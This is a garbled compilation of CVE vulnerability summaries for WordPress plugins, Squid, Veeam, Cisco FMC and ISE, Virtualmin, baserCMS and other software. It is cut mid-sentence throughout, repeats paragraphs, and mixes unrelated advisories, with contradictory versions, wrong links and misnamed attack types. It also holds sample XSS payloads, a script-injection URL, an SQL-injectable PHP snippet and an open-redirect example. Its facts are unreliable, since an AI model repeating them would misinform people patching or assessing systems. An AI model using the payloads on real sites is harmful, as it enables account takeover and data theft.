To mitigate this vulnerability, update the 'WP MapIt' plugin to the latest version that addresses the vulnerability, if such an update has been released. Alternatively, disable the plugin if it is not needed. Specifically, it is a stored Cross-Site Scripting (XSS) vulnerability present in versions up to and including 1.2.0. It is triggered within the 'imagemap' shortcode of the ImageMapper WordPress plugin. Attackers can exploit it by injecting malicious scripts into image maps designed to allow users to create image maps with clickable areas within WordPress posts or pages. To mitigate this exploit, update the plugin to a version that contains the fix for the stored XSS vulnerability. This level of access allows the attacker to use the 'imagemap' shortcode to inject arbitrary web scripts into a WordPress page. An attacker could potentially steal user session cookies, deface the site, or redirect users to malicious sites.

The 'Ziteboard Online Whiteboard' plugin for WordPress, specifically related to the 'ziteboard' shortcode vulnerability. This vulnerability is tracked as CVE-2023-5076 and allows for Stored Cross-Site Scripting (XSS). An attacker could inject malicious scripts through the 'ziteboard' shortcode. All versions up to and including 2.9.9 are affected.

To mitigate this vulnerability, update the 'Ziteboard Online Whiteboard' plugin to a version released after 2.9.9 that contains the security fix for the 'ziteboard' shortcode. The fix is available at the following URL: <https://plugins.trac.wordpress.org/browser/ziteboard/tags/2.9.10/>.

The exploit can be triggered on any page or post where the Ziteboard Online Whiteboard plugin is installed. Users with higher permissions, such as administrators, can trigger the exploit.

The exploit can be triggered on any page or post where the Ziteboard Online Whiteboard plugin is installed. Users with higher permissions, such as administrators, can trigger the exploit.

The exploit can be triggered on any page or post where the Ziteboard Online Whiteboard plugin is installed. Users with higher permissions, such as administrators, can trigger the exploit.

For more information, see the official documentation: <https://www.veeam.com/kb4508>.

The exploit can be triggered on any page or post where the Ziteboard Online Whiteboard plugin is installed. Users with higher permissions, such as administrators, can trigger the exploit.

The exploit can be triggered on any page or post where the Ziteboard Online Whiteboard plugin is installed. Users with higher permissions, such as administrators, can trigger the exploit.

s. Since the vulnerability allows an unprivileged user to acquire the NTLM hash of the service account, ability and instructions for addressing it can be found in a knowledge base article available at <https://www.veeam.com/KB4508>. A user within the organization who has access to the Veeam ONE Web Client. This user could exploit thi

ndicates that the Common Vulnerability Scoring System (CVSS) score has not been provided or is not available. Details provided by Veeam in their knowledge base article (<https://www.veeam.com/KB4508>) to understand the findings is CVE-2023-4930.

f the autoindex feature of the web server is enabled.

ng of directory contents where private message attachments are stored, leading to potential unauthorized access.

<https://nmap.org/vulnerability/c73b3276-e6f1-4f22-a888-025e5d0504f2>.

use the Front End PM plugin, looking for those with autoindex enabled. Upon finding a site with the con

; the percent (%) character in a new password can lead to invalid values being included in the security

<https://www.cisa.gov/news-events/2023/january/2023-01-19-cve-2023-0719> and <https://www.cisa.gov/ncm/ncm-hub/categories/360002087671-Security-Advisories> and <https://www.cisa.gov/news-events/2023/january/2023-01-19-cve-2023-0719> vulnerability.

erability by waiting for an administrator to inadvertently create a weak password due to the truncation of passwords containing the percent character. The risk stems from the possibility that invalid values will be accepted by the system, potentially leading to a Denial of Service (DoS) attack against Squid's Gopher gateway.

support has been removed. If unable to upgrade, users should reject all gopher URL requests.

-46728, as responses triggering the bug are possible to be received from any gopher server.

s:- <https://github.com/squid-cache/squid/commit/6ea12e8fb590ac6959e9356a81aa3370576568c3-h> is a digital forensics and incident response tool. Versions prior to 0.7.0-4 are vulnerable to a reflected cross site scripting vulnerability. Administrators are susceptible to the reflected cross site scripting vulnerability and should upgrade to a patched version of Rapid7 Velociraptor through the release of version 0.7.0-04, which includes a fix for the issue. Patches are also available under the release tag v0.7.0, which you can find at: <https://github.com/rapid7/velociraptor/releases>. Inserting malicious JavaScript into the error path of Rapid7 Velociraptor. This can lead to various attacks like

ion where user input from a URL or form is directly included in a webpage without proper sanitization. Clicking on a URL with embedded JavaScript code and then tricking an unsuspecting user into clicking the link, for instance.

CVE-2023-46775 vulnerability.

ulnerable to CVE-2023-46775.

ollowing URL: <https://patchstack.com/database/vulnerability/original-texts-yandex-webmaster/wordpress> is a malicious web page or email that, when visited by an admin user who is authenticated to the WordPress

:- Education & Learning Management plugin is CVE-2022-47430.

gin versions from the initial release up to and including version 4.1.

Command,' commonly known as an SQL Injection vulnerability, found in The School Management - Edi  
6 November 2023.

ed reference link: <https://patchstack.com/database/vulnerability/school-management-system/wordp>  
an SQL Injection may involve the attacker submitting malicious input through a form field such as `use  
be able to retrieve sensitive information from the database, manipulate or corrupt data, potentially de  
'430 has not been assigned yet (labeled as 'N/A'). The Base Score would normally be part of its Comm  
e plugin is CVE-2022-46849.

Command' vulnerability, commonly known as an SQL Injection vulnerability. This vulnerability was fou  
Soon & Maintenance Mode plugin up to and including version 1.5.9.

ed reference URL: <https://patchstack.com/database/vulnerability/responsive-coming-soon-page/wor>  
ar to CVE-2022-46849: ``php\$id = \$\_GET['id'];\$sql = "SELECT \* FROM users WHERE id = \$id"; // Potenti  
ting malicious SQL queries through user-input fields to manipulate database operations. They could pr  
.Authentication Attempts' which is found in Mitsubishi Electric Corporation MELSEC iQ-F Series CPU modu  
s from logging into the Web server function by continuously attempting unauthorized logins. The effe

mpting to log in to the Web server function of the vulnerable Mitsubishi Electric MELSEC iQ-F Series CF  
!5, including information from Japanese Vulnerability Notes (JVN), Industrial Control Systems Cyber Er  
ies provided by Mitsubishi Electric Corporation if available. Additionally, network access to the affecte  
erity of CVEs is assessed using the Common Vulnerability Scoring System (CVSS), but in this case, the ba  
lib), which is utilized by Open Journal Systems (OJS) and other related products. Specifically, versions t

he guise of image files through the native import/export plugin within the affected PKP-WAL version. !  
cket Storm Security website at <http://packetstormsecurity.com/files/176255/PKP-WAL-3.4.0-3-Remot>  
te to version 3.3.0-16 or later, as this release contains a fix for the vulnerability. It is crucial for admini  
fically a Reflected Cross-Site Scripting (XSS) issue found in version 6.0.0.0, which arises due to imprope  
susceptible to Reflected XSS attacks. Attackers can exploit this vulnerability to execute arbitrary web  
ded that users update to a patched version as soon as it becomes available to mitigate this vulnerabili  
a malicious link containing a script payload and trick a user into clicking it, leading to the execution of t  
provided by the developers, which includes fixes for the vulnerability. Additionally, implementing sec  
include the WordPress plugin changeset at <https://plugins.trac.wordpress.org/changeset/1428184/digi>

scores are typically assigned by the Common Vulnerability Scoring System (CVSS) to indicate the severi  
e following and send it to a victim: '[http://example.com/digirisk\\_page?current\\_group\\_id=%3Cscript%3E](http://example.com/digirisk_page?current_group_id=%3Cscript%3E)  
CVE-2023-5707.

-5707.

ffected by CVE-2023-5707.

rability described in CVE-2023-5707.

eates a slider using the plugin's shortcode with injected JavaScript code, such as: [seo\_slider id='1' attr  
der plugin to a version that resolves the XSS issue, which would be any version released after 1.1.0 tha  
:- <https://plugins.trac.wordpress.org/browser/seo-slider/trunk/includes/shortcode.php?rev=2367856>

ject malicious scripts into web pages that are stored on the server and executed in the browsers of users. Hackers with contributor-level permissions or higher embedding malicious scripts in WordPress pages is a flaw described as an 'Improper Neutralization of Special Elements used in an SQL Command' or simply

I release up to version 1.2.0.

[ack.com/database/vulnerability/be-popia-compliant/wordpress-be-popia-compliant-plugin-1-2-0-sql-injection/](http://ack.com/database/vulnerability/be-popia-compliant/wordpress-be-popia-compliant-plugin-1-2-0-sql-injection/)

such an attack, the attacker would exploit the SQL injection flaw to interfere with the plugin's database. This could involve a vulnerable user input field within the web application. If the input is not properly sanitized, an attacker could inject malicious SQL code. The specific vulnerability was found in the Be-Popia plugin version 0.8.6. This security flaw would allow an unauthenticated user to include local files via a specially crafted URL.

In a GET request to the /tools/webinterface/index.php endpoint, Attackers can manipulate this parameter to include local files. This is a classic SQL injection attack vector. The attacker could potentially execute arbitrary PHP code on the server. To mitigate this risk, the plugin developer should consider updating to a later, patched version or apply any provided mitigations to protect against such attacks. The CVSS score is often used to gauge the severity of vulnerabilities, and its absence means users should refer to the detailed description for more information.

This is the INCIBE (Spanish National Cybersecurity Institute) CERT website: <https://www.incibe.es/en/inc>  
This such as input validation to ensure that the 'page' parameter only accepts predefined values that correspond to valid pages.  
The InstagramCarousel plugin is CVE-2023-43982.

## v7.0.0

vulnerable website as a proxy to conduct attacks against other systems or services, or exfiltrate data via a URL parameter.

ference URL: <https://security.friendsofpresta.org/modules/2023/11/02/boninstagramcarousel.html>. This URL, when processed by 'insta\_parser.php', causes the server to make an unintended HTTP request. This allows the attacker sending a crafted request to the server that includes a malicious URL. This URL might p

.0.1, 11.1, and TXSeries for Multiplatforms 8.1, 8.2, 9.1.

arbitrary JavaScript code in the Web UI, potentially leading to credentials disclosure within a trusted session. This issue can be found on the following support pages: '<https://www.ibm.com/support/pages/node/7063659>' and published information.

ious link containing a script and convincing a logged-in user to click it. Once the user interacts with the available patches or follow remediation guidance provided by IBM in the referenced support documents L.1, Advanced 10.1, 11.1, and TXSeries for Multiplatforms 8.1, 8.2, 9.1 is CVE-2023-42027.

XSeries software where there exists a cross-site request forgery (CSRF) flaw. This vulnerability could al

1.1 and 11.1, as well as TXSeries for Multiplatforms versions 8.1, 8.2, and 9.1.

ound on IBM X-Force Exchange and IBM's own support pages. The references include:- IBM X-Force Exchange as per the available information.

ge or email that includes a forged HTTP request. When an authenticated user of the IBM CICS TX Standard released, it is common practice for IBM to provide updates or mitigations for identified vulnerabilities in the product, a generic example of a hypothetical endpoint vulnerable to CSRF might look like the following code before v3.8.1. It involves the use of a hardcoded cryptographic key when creating and verifying JSON Web authentication mechanisms. Since the cryptographic key is hardcoded, an attacker could generate their own JSON Web tokens and have them accepted by the endpoint.

/vuldb.com/?ctid.244310- https://vuldb.com/?id.244310- https://www.jianshu.com/p/a451953f36f1?919.

0. Any web server running this specific version of the CMS could be at risk if the /dashboard/createblk is 'N/A'). To determine the severity, one would need to consider factors like ease of exploit, impact of patches or updates provided by the CMS vendor to address the vulnerability.- Implement file upload validation software package.

rele to CVE-2023-42802.

antiation which allows an attacker to upload malicious PHP files to directories that shouldn't have write access. Uploading a malicious PHP file to the server. Depending on the web server configuration and available system libraries, it may be relatively easy to exploit this vulnerability. A simple fix, if the application is under your control, is to remove write access on `/ajax` and `/front` directories to the web server. This would prevent an attacker from uploading files to those directories.

age of the GLPI project under the releases for version 10.0.10 and the associated security advisories. The

ed Cross-Site Scripting (XSS) through the FAQ Builder. This vulnerability is present in versions 4.8.6 to 4.8.6 through 4.9.6.

llation or one where the unfiltered\_html capability has been disabled. Additionally, the attacker needs to encourage attackers to inject and execute arbitrary web scripts when a user accesses an injected page. This can lead to a security issue that was identified and presumably fixed earlier, but reintroduced in later versions of the ChatBot plugin. Administrators should update to a version that has addressed the vulnerability, if such a version is available. Website administrators should also ensure that they are not using the plugin with administrator-level privileges accessing the FAQ Builder in the affected ChatBot for WordPress plugin.

le a link to the changeset in the WordPress plugin repository and a vulnerability report by Wordfence. xamination System version 1.0. This security flaw allows an attacker to redirect victims to an arbitrary malicious redirections. An attacker can exploit the vulnerabilities to redirect users from the legitimate ar. This implies that the severity of the vulnerability has not been officially rated under the Common V

In refer to Fluid Attacks' advisory at '<https://fluidattacks.com/advisories/uchida>' and also check the 'ht a web application accepts unvalidated input that results in redirecting a user to an external, untruste erable-website.com/admin.php?q=http://malicious-website.com'. By visiting this link, the unsuspici a URL to a phishing site and sending it to victims, who would then be redirected to the malicious site !

-openssl` are affected by CVE-2023-46724.

n of Specified Index bug. It can be exploited through a TLS Handshake with a specially crafted SSL certificate, which occurs when Squid is compiled with the `--with-openssl` option. This vulnerability can be exploited to gain root access on the system.

rability is related to SSL Certificate validation during a TLS Handshake.

tches for stable releases are also available in Squid's patch archives.

or version 5 and 6 available at the following URLs: <http://www.squid-cache.org/Versions/v5/SQUID-21>. Setting up a malicious server and configuring it to present a specially crafted SSL certificate upon a client's request is a common attack vector. Vendors typically provide patched versions of updated packages that address CVE-2023-46724. Vendors typically provide patched versions

single Chrome versions prior to 119.0.6045.105. This flaw allowed a remote attacker to obfuscate security-related information in the browser's developer tools.

The severity rating according to Chromium's security ratings.

, including the Google Chrome Releases blog, several Fedora Project mailing list announcements, a GitHub issue, and a Cisco Security Advisory.

This HTML page that, when visited by a user in a vulnerable version of Google Chrome, could obscure or completely hide sensitive information such as the URL of the page being viewed. In the context of Cisco Meeting Server, this vulnerability allows an unauthenticated, remote attacker to craft invalid packets that target an affected Cisco Meeting Server device. The vulnerability allows for these invalid packets to reach the device, causing it to crash or hang where the server experiences partial availability issues. Specifically, this could result in ongoing video feed loss. You can find more information about this vulnerability in the following URL: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-cm-2023-01-001>.

ut in the HTTP packets sent to the affected Cisco Meeting Server. These crafted packets could exploit this vulnerability to gain access to the device's configuration interface. Once identified, they would construct and transmit invalid packets to the device. These packets could be crafted to exploit a vulnerability in the Cisco Firepower Management Center (FMC) Software, which could allow an authenticated, remote attacker to gain access to the device's configuration interface. They can exploit these vulnerabilities by entering crafted input into the configuration interface. To do this, they must first obtain valid credentials to authenticate with the affected device. Once authenticated, they can use these credentials to gain access to the device's configuration interface. They can then use user-supplied input for certain configuration options in the web-based management interface of Cisco FMC Software to execute arbitrary commands on the device, including on the underlying operating system.

This vulnerability was first reported by Cisco Security Advisory at <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-cm-2023-01-001>. It was discovered that the Cisco Firepower Management Center (FMC) Software contained valid credentials through phishing, social engineering, or by exploiting another vulnerability. An unauthenticated, remote attacker could use these credentials to gain access to the device's configuration interface.

This vulnerability was first reported by Cisco Security Advisory at <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-cm-2023-01-001>. It was discovered that the Cisco Firepower Management Center (FMC) Software contained valid credentials through phishing, social engineering, or by exploiting another vulnerability. An unauthenticated, remote attacker could use these credentials to gain access to the device's configuration interface.

This vulnerability was first reported by Cisco Security Advisory at <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-cm-2023-01-001>. It was discovered that the Cisco Firepower Management Center (FMC) Software contained valid credentials through phishing, social engineering, or by exploiting another vulnerability. An unauthenticated, remote attacker could use these credentials to gain access to the device's configuration interface.

isory page at: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-somehow obtained valid Administrator credentials, logs into the Cisco ISE's web management interface>

power Management Center (FMC) Software. It allows an authenticated, remote attacker to execute user input through the web-based management interface and send a crafted HTTP request to an affected FTD device. By doing so, they could execute arbitrary code on the targeted device. Only with these credentials can they authenticate to the FMC web services interface and perform configuration commands on the targeted FTD device, potentially leading to a wide range of impact.

o, which is available at the following URL: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-somehow obtained valid Administrator credentials, logs into the Cisco ISE's web management interface>. Impact and severity could be subject to change as further analysis is completed.

tical attack scenario might involve an attacker using stolen credentials to authenticate to the FMC web interface. CVE-2023-20048. Users are advised to check the Cisco Security Advisory for this CVE for any updates on potential vulnerabilities in the web-based management interface of the Cisco Firepower Management Center (FMC) Software. These vulnerabilities could allow an unauthenticated remote attacker to upload arbitrary files to an affected device due to insufficient validation of files uploaded to the affected Cisco ISE device. This input is not properly validated, which could lead to code execution within the context of the affected user's browser, potential theft of sensitive information, and other malicious activities.

ipplied input within the web-based management interface, making it susceptible to stored cross-site scripts (XSS). An attacker could conduct stored XSS attacks, leading to the execution of arbitrary scripts, access to sensitive information, and other malicious activities.

ch can be accessed at this URL: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-somehow obtained valid Administrator credentials, logs into the Cisco ISE's web management interface>. An attacker could exploit this vulnerability by inputting malicious code into a vulnerable field in the Cisco FMC's web-based management interface, such as a user profile or configuration. This would allow the attacker to upload arbitrary files to an affected device due to insufficient validation of files uploaded to the affected Cisco ISE device. The exploitation occurs by uploading a crafted file to the web-based management interface of the affected device. These files could be used to conduct further attacks, which may include executing code on the affected device or gaining unauthorized access with valid Administrator credentials to the affected Cisco ISE device.

ch is available at <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-somehow obtained valid Administrator credentials through phishing or other means>. Once they have these credentials, the attacker could attempt to exploit this vulnerability by inputting malicious code into a vulnerable field in the Cisco FMC's web-based management interface, such as a user profile or configuration. This would allow the attacker to upload arbitrary files to an affected device due to insufficient validation of files uploaded to the affected Cisco ISE device. The exploitation occurs by uploading a crafted file to the web-based management interface of the affected device. These files could be used to conduct further attacks, which may include executing code on the affected device or gaining unauthorized access with valid Administrator credentials to the affected Cisco ISE device.

Advisory page: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-somehow obtained valid Administrator credentials, logs into the Cisco ISE's web management interface>. An attacker could input into a data field in the web interface like: `<script>alert('XSS');</script>`. When this input is submitted and inserted into one of the input fields of the Cisco FMC Software's web-based management interface, it would be executed on the affected device. It involves multiple vulnerabilities that could allow an unauthenticated remote attacker to execute arbitrary code within the context of the interface or obtain sensitive, browser-based information. There are two main types of attacks:

olve an attacker submitting a form with JavaScript code in a field meant for user input, such as in a configuration form. This is known as a stored XSS attack. An example of this is available at: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-somehow obtained valid Administrator credentials, logs into the Cisco ISE's web management interface>.

to users of the Cisco FMC interface with a link to a malicious website. The attacker's website would contain a management interface of Cisco Firepower Management Center (FMC) Software. These vulnerabilities could be exploited in the affected interface of Cisco FMC. Insufficient validation of user-supplied input allows the attacker to execute arbitrary script code in the context of the affected interface, which can lead to actions being performed at the URL: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-2023-may-001>

ut fields, a general example of an XSS attack could look like this: An attacker could send a phishing email to a user with access to the vulnerable system. If the user clicks the link and logs into the Cisco FMC interface, the authentication mechanism is compromised due to an incorrect implementation of sensitive information.

Unauthorized access to the web service, due to a vulnerability in the NPort 6000 Series' authentication mechanism was reported by Moxa at the following URL: <https://www.moxa.com/en/support/product-support/security-advisories>

Vulnerability in the authentication mechanism to bypass the security controls. This could be done by interacting with the Configuration Manager. It involves an Exposure of Sensitive Information Vulnerability which allows unauthorized access to the web service, due to a vulnerability in the NPort 6000 Series' authentication mechanism was reported by Moxa at the following URL: <https://www.moxa.com/en/support/product-support/security-advisories>

or released at the moment. Documentation: [https://documentation.solarwinds.com/en/success\\_center/ncm/content/release\\_notes/ncm\\_2023-4\\_release\\_notes](https://documentation.solarwinds.com/en/success_center/ncm/content/release_notes/ncm_2023-4_release_notes) on the SolarWinds Web Console exploiting this vulnerability to access sensitive configuration data, without specific exploit code. The issue involves improper handling of sensitive data by the application which could lead to disclosure of sensitive information. There is improper input validation in versions up to and including v18.0.1. This flaw allows an attacker to inject arbitrary PHP code into the application, which can lead to arbitrary PHP code injection and execution on the server where Dolibarr ERP CRM is installed.

<https://github.com/Dolibarr/dolibarr/commit/0ed6a63fb06be88be5a4f8bcdee83185eeee4087e> and the advisory at [http://www.dolibarr.org/doc/api/v18.0.1/bugfixes.html#internal-path-disclosure](https://www.dolibarr.org/doc/api/v18.0.1/bugfixes.html#internal-path-disclosure). A POST request to the webpage responsible for creating new website instances within Dolibarr ERP CRM has been patched. Since it affects versions up to and including v18.0.1, it's advisable to avoid sending API requests and URI components that contain special characters. This defect triggers unhandled errors.

Severity: Medium. CVSS base score: 5.4. References: <https://publisher.hitachienergy.com/preview?DocumentId=8DBD000175&languageCode=en&PreviewType=PDF>. Description: The vulnerability occurs when an attacker sends a malicious web API request with special characters in the URI to provoke unhandled errors. These paths are: /api/v1/resource/.../internalPath. The path is CVE-2023-5515.

Impact: This vulnerability can cause a web server to disclose information about the internal path of resources. This leak of information can be exploited by an attacker to gain unauthorized access to the system.

Example: <https://publisher.hitachienergy.com/preview?DocumentId=8DBD000175&languageCode=en&PreviewType=PDF>. The application returns a detailed error message, including internal paths, when certain parameters are used.

ssue affecting Virtualmin version 7.7. The flaw exists within the 'Create Virtual Server' functionality, all tacker creates a new virtual server, they can exploit the vulnerability by injecting malicious scripts or + 023.

ing the theft of user session cookies, defacement of the web page, phishing attacks by redirecting user following URL: <https://github.com/pavanughade43/Virtualmin-7.7/blob/main/CVE-2023-47099>.  
ned to it.

ting a script tag with JavaScript code into the Description field when creating a virtual server in Virtual a version of the software that addresses this vulnerability as soon as a patch is available. Meanwhile, te Scripting (XSS) vulnerability exists under the 'Manage Extra Admins' in the 'Administration Options',

<https://github.com/pavanughade43/Virtualmin-7.7/blob/main/CVE-2023-47098>

Manage Extra Admins' section in Virtualmin 7.7.

cious script, which is then saved into the 'real name' or 'description' field of the 'Manage Extra Admins'

7097.

nplate under System Setting in Virtualmin 7.7.

in Virtualmin 7.7.

ackers by injecting arbitrary web script or HTML via the Template name field while creating server tem

nce URL: <https://github.com/pavanughade43/Virtualmin-7.7/blob/main/CVE-2023-47097>.

us server template with a crafted name that contains XSS payload. If an administrator or user views th  
riate to provide actual exploit code. Generally, the vulnerability would involve submitting a template i

etting.

or HTML via the Cloudmin services master field, which is reflected back to the user without proper san  
ed scripts or HTML within a user's browser, leading to session hijacking, phishing, defacement of the w

e following URL: <https://github.com/pavanughade43/Virtualmin-7.7/blob/main/CVE-2023-47096>.  
ending a URL to a victim with malicious JavaScript encoded in the query parameters that target the Click  
users, attempting to steal session cookies or credentials, defacing the web interface of Virtualmin, or u  
n the Custom fields of the 'Edit Virtual Server' section under System Customization in Virtualmin versic  
within Virtualmin 7.7. It occurs in the 'Custom fields' functionality accessible in the 'Edit Virtual Server'

ude unauthorized access to sensitive information, hijacking of user sessions, or delivering malicious pa  
<https://github.com/pavanughade43/Virtualmin-7.7/blob/main/CVE-2023-47095>

virtual Server' section within Virtualmin. The attacker would enter malicious JavaScript code into the 'Batch Label'  
'load that an attacker might input into the 'Batch Label' field to exploit CVE-2023-47095:<script>alert('')  
Cross-Site Scripting (XSS) issue found within the Account Plans tab of the System Settings. This vulner

scripts or HTML into the Plan name field of the Account Plans tab in the System Settings of Virtualmin 7.

This can lead to session cookies, impersonation of users, unauthorized access to sensitive data, and even complete account takeover. The exploit was discovered by pavanughade43. You can find the exploit code on GitHub at <https://github.com/pavanughade43/Virtualmin-7.7/blob/main/CVE-2023-47094>.

It is important to note that, when injected into the Plan name field of an Account Plan, it executes whenever a user views the plan (A).

This vulnerability was introduced in Virtualmin 7.7.0 and was fixed in Rel.15378n(4555) and before.

The exploit can be triggered by attackers sending crafted web requests to the device.

A similar crafted web request that can cause a Denial of Service (DoS) on the affected TP-Link Tapo C100 device was discovered at the following URL: <https://github.com/zn9988/publications/tree/main/1.TP-Link%20Tapo%20C100>. It contains detailed information.

This exploit is a specific HTTP request designed to overrun the resource handling capabilities of the TP-Link Tapo C100. It affects versions 2.1.0 and earlier and involves a Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the device.

This vulnerability was introduced in TP-Link Tapo C100 v2.1.0 and was fixed in v2.1.1. A patch was made available to address CVE-2023-46245.

A similar exploit was also found in the vulnerable Kimai application which would exploit its PDF and HTML rendering functions. This exploit was discovered by GHS and was fixed in Kimai v2.1.1. It involves a Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server where Kimai is hosted. This could potentially lead to full server compromise.

Given:

40.

web framework.

Error reports are displayed in the production environment when an error or exception occurs, potentially revealing sensitive information. To prevent this, you can set the `display\_errors` configuration option to 'Off'. This can be done by adding the following line to the `app/Config/Boot/production.php` file: `ini\_set('display\_errors', 'Off')`. Alternatively, you can add the following code to the `Config/Boot/production.php` file: ```<?php ini\_set('display\_errors', 'Off');// ... other configurations...>`. This configuration intentionally triggers an error or exception on a web application using a vulnerable version of CodeIgniter. For more information, see the official CodeIgniter guide on error reporting (<https://codeigniter4.github.io/userguide/general/errors.html#error-reporting>).

Given:

WordPress plugin.

Potentially sanitise uploaded SVG files, potentially allowing for XSS (Cross-Site Scripting) attacks.

CVE-2023-5458.

This exploit was introduced in the WordPress plugin version 3.0 and was fixed in version 3.1. A patch was made available to address the issue described in CVE-2023-5458.

This exploit is a specific attack that involves uploading a malicious SVG file containing XSS payloads to the WordPress website using the affected plugin. The exploit was discovered by wpscan.com at the following URL: <https://wpscan.com/vulnerability/47d15f1c-b9ca-494d-be8f-63c30e92f9b8>.

Given:

0. It pertains to an HTML Injection flaw due to the plugin not properly sanitising and escaping a parameter.

ode into the web page viewed by other users. This injection occurs in the search area of websites that contains malicious HTML or JavaScript code. When another user views the injected code in the search results, it runs as HTML or JavaScript code in the context of the user's browser session. This could lead to website defacement or other malicious actions. The plugin was updated to version 3.2.0 or later. The developers have addressed the vulnerability in these versions by patching the code. Security experts may evaluate this information later to determine the severity based on the CVSS scoring system. You can find more details about this vulnerability on the reference link provided in the CVE details: <https://wpscan.com/vulnerability/47a5fbfd-f47c-4>

### sion 3.7.2.

WordPress plugin before 3.7.2 were not properly sanitized and escaped. This could allow high-level privilege. An attacker with high-level privileges, like an administrator, could exploit the lack of proper data sanitization to inject arbitrary web scripts, which will be executed whenever a user accesses an injected page. This could involve an attacker with contributor-level access injecting a malicious script into a page via the 'ipushpull\_page' shortcode. Once injected, the script runs in the context of the user's browser session, potentially leading to stored cross-site scripting (XSS) or other malicious actions.

<https://wpscan.com/vulnerability/9fd2eb81-185d-4d42-8acf-925664b7cb2f> describes this vulnerability in detail. Specifically, it is a Stored Cross-Site Scripting (XSS) vulnerability which affects versions up to and including version 2.3.2.

The vulnerability arises from the 'ipushpull' plugin, specifically in its handling of the 'ipushpull\_page' shortcode. The plugin repository shows that the shortcode is not properly sanitized, allowing an attacker with contributor-level permissions to inject arbitrary JavaScript code into a WordPress page. This could lead to stored XSS attacks where the injected script runs in the context of the user's browser session. The plugin was updated to version 1.0 to fix this issue, but it is still present in versions up to and including 1.0 due to a bug in the 'ipushpull' plugin's handling of the shortcode.

<https://plugins.trac.wordpress.org/browser/idbbee/trunk/idbbee.php> provides more details on this vulnerability.

The vulnerability is a stored cross-site scripting (XSS) issue. It allows an attacker with contributor-level permissions to inject arbitrary JavaScript code into a WordPress page via the 'ipushpull\_page' shortcode. Once injected, the script runs in the context of the user's browser session, potentially leading to stored XSS attacks. The plugin was updated to version 1.0 to fix this issue, but it is still present in versions up to and including 1.0 due to a bug in the 'ipushpull' plugin's handling of the shortcode.

The vulnerability is a stored cross-site scripting (XSS) issue. It allows an attacker with contributor-level permissions to inject arbitrary JavaScript code into a WordPress page via the 'ipushpull\_page' shortcode. Once injected, the script runs in the context of the user's browser session, potentially leading to stored XSS attacks. The plugin was updated to version 1.0 to fix this issue, but it is still present in versions up to and including 1.0 due to a bug in the 'ipushpull' plugin's handling of the shortcode.

through the provided references, such as on the Wordfence threat intelligence page and the WordPress plugin repository. The vulnerability is caused by a bug in the 'ipushpull' plugin's handling of the 'ipushpull\_page' shortcode. An attacker with contributor-level permissions can inject arbitrary JavaScript code into a WordPress page via this shortcode. Once injected, the script runs in the context of the user's browser session, potentially leading to stored XSS attacks. The plugin was updated to version 1.0 to fix this issue, but it is still present in versions up to and including 1.0 due to a bug in the 'ipushpull' plugin's handling of the shortcode.

The vulnerability is a stored cross-site scripting (XSS) issue. It allows an attacker with contributor-level permissions to inject arbitrary JavaScript code into a WordPress page via the 'ipushpull\_page' shortcode. Once injected, the script runs in the context of the user's browser session, potentially leading to stored XSS attacks. The plugin was updated to version 1.0 to fix this issue, but it is still present in versions up to and including 1.0 due to a bug in the 'ipushpull' plugin's handling of the shortcode.

:hstack: <https://patchstack.com/database/vulnerability/wc-captcha/wordpress-wc-captcha-plugin-1-4>  
However, a typical Stored XSS attack involves an attacker submitting a script into an input field that is level access injecting malicious JavaScript into the captcha settings of the plugin. When other users or development framework. The affected versions are from 4.6.0 to 4.7.6. The vulnerability is a Code Injection. Users are advised to monitor the official baserCMS channels for updates and patches.

cially determined. However, Code Injection vulnerabilities are generally considered serious because they can be

dvisory page at [https://basercms.net/security/JVN\\_45547161](https://basercms.net/security/JVN_45547161) and the corresponding GitHub security issue. It is submitted through the mail form of baserCMS. Since the vulnerability involves code injection, the attack

content preview feature of baserCMS.

malicious webpage which then sends a forged request to the baserCMS instance. This request could potentially contain a URL like [https://basercms.net/security/JVN\\_99052047](https://basercms.net/security/JVN_99052047), <https://github.com/baserproject/basercms/commit/87> which is publicly available.

lment framework. Specifically, this vulnerability is a Directory Traversal Vulnerability that was present in version 4.8.0. The maintainers of baserCMS released an update that contains fixes for the security issue found in the software. The fix was made available on the official security advisory on baserCMS's website, the relevant GitHub commit that fixes the issue, and the documentation for the baserCMS application. For example, the attacker might manipulate form submissions to a vulnerable baserCMS application. For example, the attacker might manipulate form submissions to a vulnerable baserCMS application. For example, the attacker might manipulate form submissions to a vulnerable baserCMS application. For example, the attacker might manipulate form submissions to a vulnerable baserCMS application. Before version 4.8.0, the software had a cross-site scripting (XSS) vulnerability within its file upload feature. Before version 4.8.0, the software had a cross-site scripting (XSS) vulnerability within its file upload feature.

malicious script embedded in the file name or content. When the file is accessed or rendered by other applications: the baserCMS official security advisory at '[https://basercms.net/security/JVN\\_24381990](https://basercms.net/security/JVN_24381990)', the OpenText Service Management Automation X (SMAX) and OpenText Asset Management X (AMX). This patch is available for versions 3.4-4964 are 2020.05, 2020.08, 2020.11, 2021.02, 2021.05, 2021.08, 2021.11, 2022.05, and 2022.11. The patch is available for versions 3.4-4964 are 2020.05, 2020.08, 2020.11, 2021.02, 2021.05, 2021.08, 2021.11, 2022.05, and 2022.11.

such an attack, the attacker tricks the user into clicking a link that appears to be legitimate but redirecting to a malicious URL: [Micro Focus Portal](<https://portal.microfocus.com/s/article/KM000022703?language=en-US>). It is recommended that users should refer to the guidelines provided by OpenText and apply any patches or updates offered to address this vulnerability. The vulnerability is due to inadequate input sanitization and insufficient file permission checks. Such attacks can inject arbitrary web scripts into pages using the 'tcpaccordion' shortcode.

ite to exploit the vulnerability described in CVE-2023-5666.

